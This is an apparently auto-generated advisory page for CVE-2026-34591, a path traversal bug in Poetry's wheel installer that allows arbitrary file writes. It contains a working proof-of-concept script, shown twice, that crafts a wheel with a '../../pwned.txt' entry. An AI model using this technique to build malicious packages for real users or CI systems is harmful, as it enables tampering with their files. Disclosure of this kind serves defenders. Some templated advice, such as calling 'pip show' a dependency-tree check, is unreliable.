CVE-2026-34591: Poetry Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-2599-h6xx-hpxp
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CVSS 6.5
CWE-22
Published
Advisory Summary

CVE-2026-34591 is a HIGH (CVSS 6.5) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Poetry libraries in the PyPI ecosystem. The issue involves poetry has wheel path traversal which can lead to arbitrary file write. Remediation is available by upgrading affected packages to version 2.3.3.

CVE-2026-34591 at a Glance

CVE Identifier CVE-2026-34591
GHSA Identifier GHSA-2599-h6xx-hpxp
Severity HIGH
CVSS v3.1 Base Score 6.5
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Poetry
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-34591

To remediate this vulnerability, upgrade all affected Poetry dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

poetry fixed: 2.3.3 
pip install poetry>=2.3.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

pip show poetry

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-34591, inspect your installed packages using pip:

pip show poetry

Analyze the terminal output to locate any version of Poetry in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.3), your application is affected.

Note: The pip show poetry command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Poetry, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. ### Impact Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages. ### Patches Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted. ### Details Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path: src/poetry/installation/wheel_installer.py:47 src/poetry/installation/wheel_installer.py:59 The vulnerable sink is reachable in normal installation: src/poetry/installation/executor.py:607 No resolve() + is_relative_to() style guard is enforced before writing. ### POC ``` from pathlib import Path import tempfile, zipfile, sys from installer import install from installer.sources import WheelFile from poetry.installation.wheel_installer import WheelDestination root = Path(tempfile.mkdtemp(prefix="poetry-poc-")) wheel = root / "evil-0.1-py3-none-any.whl" base = root / "venv" / "lib" / "pythonX" / "site-packages" for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]: d.mkdir(parents=True, exist_ok=True) files = { "evil/__init__.py": b"", "../../pwned.txt": b"owned\n", "evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag: py3-none-any\n", "evil-0.1.dist-info/METADATA": b"Metadata-Version: 2.1\nName: evil\nVersion: 0.1\n", } files["evil-0.1.dist-info/RECORD"] = ("\n".join([f"{k},," for k in files] + ["evil-0.1.dist-info/RECORD,,"])+"\n").encode() with zipfile.ZipFile(wheel, "w") as z: for k,v in files.items(): z.writestr(k,v) dest = WheelDestination( {"purelib":str(base),"platlib":str(base),"scripts":str(root/"venv/scripts"),"headers":str(root/"venv/headers"),"data":str(root/"venv/data")}, interpreter=sys.executable, script_kind="posix" ) with WheelFile.open(wheel) as src: install(src, dest, {"INSTALLER": b"PoC"}) out = (base / "../../pwned.txt").resolve() print("outside write:", out.exists(), out) ```

CVE-2026-34591 Affected Poetry Versions

1 component(s)
Fixed Versions:
2.3.3
Product / Package Ecosystem Affected Versions Fixed Version
poetry
pypi/poetry
PyPI
≥ 1.4.0
< 2.3.3
2.3.3

References

GitHub Advisory / Wiki ADVISORY
https://github.com/python-poetry/poetry/security/advisories/GHSA-2599-h6xx-hpxp
NVD — CVE-2026-34591 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-34591
Poetry Source Repository REPOSITORY
https://github.com/python-poetry/poetry/pull/10792
Poetry Source Repository REPOSITORY
https://github.com/python-poetry/poetry
Poetry Release RELEASE
https://github.com/python-poetry/poetry/releases/tag/2.3.3
Security Fix Commit FIX COMMIT
http://github.com/python-poetry/poetry/commit/ed59537ac3709cfbdbf95d957de801c13872991a

Frequently Asked Questions

What is CVE-2026-34591?
CVE-2026-34591 is a security vulnerability in Poetry involving Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Poetry versions are affected?
Affected versions include releases prior to 2.3.3 across affected packages: poetry.
What version fixes CVE-2026-34591?
Upgrading to 2.3.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is poetry affected?
Yes, poetry is affected in releases prior to 2.3.3. Upgrade your dependency to 2.3.3 or later.
What is the CVSS score of CVE-2026-34591?
CVE-2026-34591 has a CVSS v3.1 base score of 6.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-34591?
CVE-2026-34591 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check PyPI dependencies for CVE-2026-34591?
Run the dependency tree command: 'pip show poetry'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2599-h6xx-hpxp",
  "modified" : "2026-04-15T20:53:26Z",
  "published" : "2026-04-01T22:17:36Z",
  "aliases" : [ "CVE-2026-34591" ],
  "summary" : "Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write",
  "details" : "### Summary\nA crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. \n\n### Impact\nArbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.\n\n### Patches\n\nVersions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.\n\n### Details\nPoetry’s wheel destination path is built by directly joining an untrusted wheel entry path:\n\nsrc/poetry/installation/wheel_installer.py:47\nsrc/poetry/installation/wheel_installer.py:59\n\nThe vulnerable sink is reachable in normal installation:\nsrc/poetry/installation/executor.py:607\n\nNo resolve() + is_relative_to() style guard is enforced before writing.\n\n### POC\n\n```\nfrom pathlib import Path\nimport tempfile, zipfile, sys\nfrom installer import install\nfrom installer.sources import WheelFile\nfrom poetry.installation.wheel_installer import WheelDestination\n\nroot = Path(tempfile.mkdtemp(prefix=\"poetry-poc-\"))\nwheel = root / \"evil-0.1-py3-none-any.whl\"\nbase = root / \"venv\" / \"lib\" / \"pythonX\" / \"site-packages\"\nfor d in [base, root/\"venv/scripts\", root/\"venv/headers\", root/\"venv/data\"]:\n    d.mkdir(parents=True, exist_ok=True)\n\nfiles = {\n    \"evil/__init__.py\": b\"\",\n    \"../../pwned.txt\": b\"owned\\n\",\n    \"evil-0.1.dist-info/WHEEL\": b\"Wheel-Version: 1.0\\nRoot-Is-Purelib: true\\nTag: py3-none-any\\n\",\n    \"evil-0.1.dist-info/METADATA\": b\"Metadata-Version: 2.1\\nName: evil\\nVersion: 0.1\\n\",\n}\nfiles[\"evil-0.1.dist-info/RECORD\"] = (\"\\n\".join([f\"{k},,\" for k in files] + [\"evil-0.1.dist-info/RECORD,,\"])+\"\\n\").encode()\n\nwith zipfile.ZipFile(wheel, \"w\") as z:\n    for k,v in files.items(): z.writestr(k,v)\n\ndest = WheelDestination(\n    {\"purelib\":str(base),\"platlib\":str(base),\"scripts\":str(root/\"venv/scripts\"),\"headers\":str(root/\"venv/headers\"),\"data\":str(root/\"venv/data\")},\n    interpreter=sys.executable, script_kind=\"posix\"\n)\nwith WheelFile.open(wheel) as src:\n    install(src, dest, {\"INSTALLER\": b\"PoC\"})\n\nout = (base / \"../../pwned.txt\").resolve()\nprint(\"outside write:\", out.exists(), out)\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "poetry"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.4.0"
      }, {
        "fixed" : "2.3.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.3.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/python-poetry/poetry/security/advisories/GHSA-2599-h6xx-hpxp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34591"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/python-poetry/poetry/pull/10792"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/python-poetry/poetry"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/python-poetry/poetry/releases/tag/2.3.3"
  }, {
    "type" : "WEB",
    "url" : "http://github.com/python-poetry/poetry/commit/ed59537ac3709cfbdbf95d957de801c13872991a"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-01T22:17:36Z",
    "nvd_published_at" : "2026-04-02T18:16:31Z"
  }
}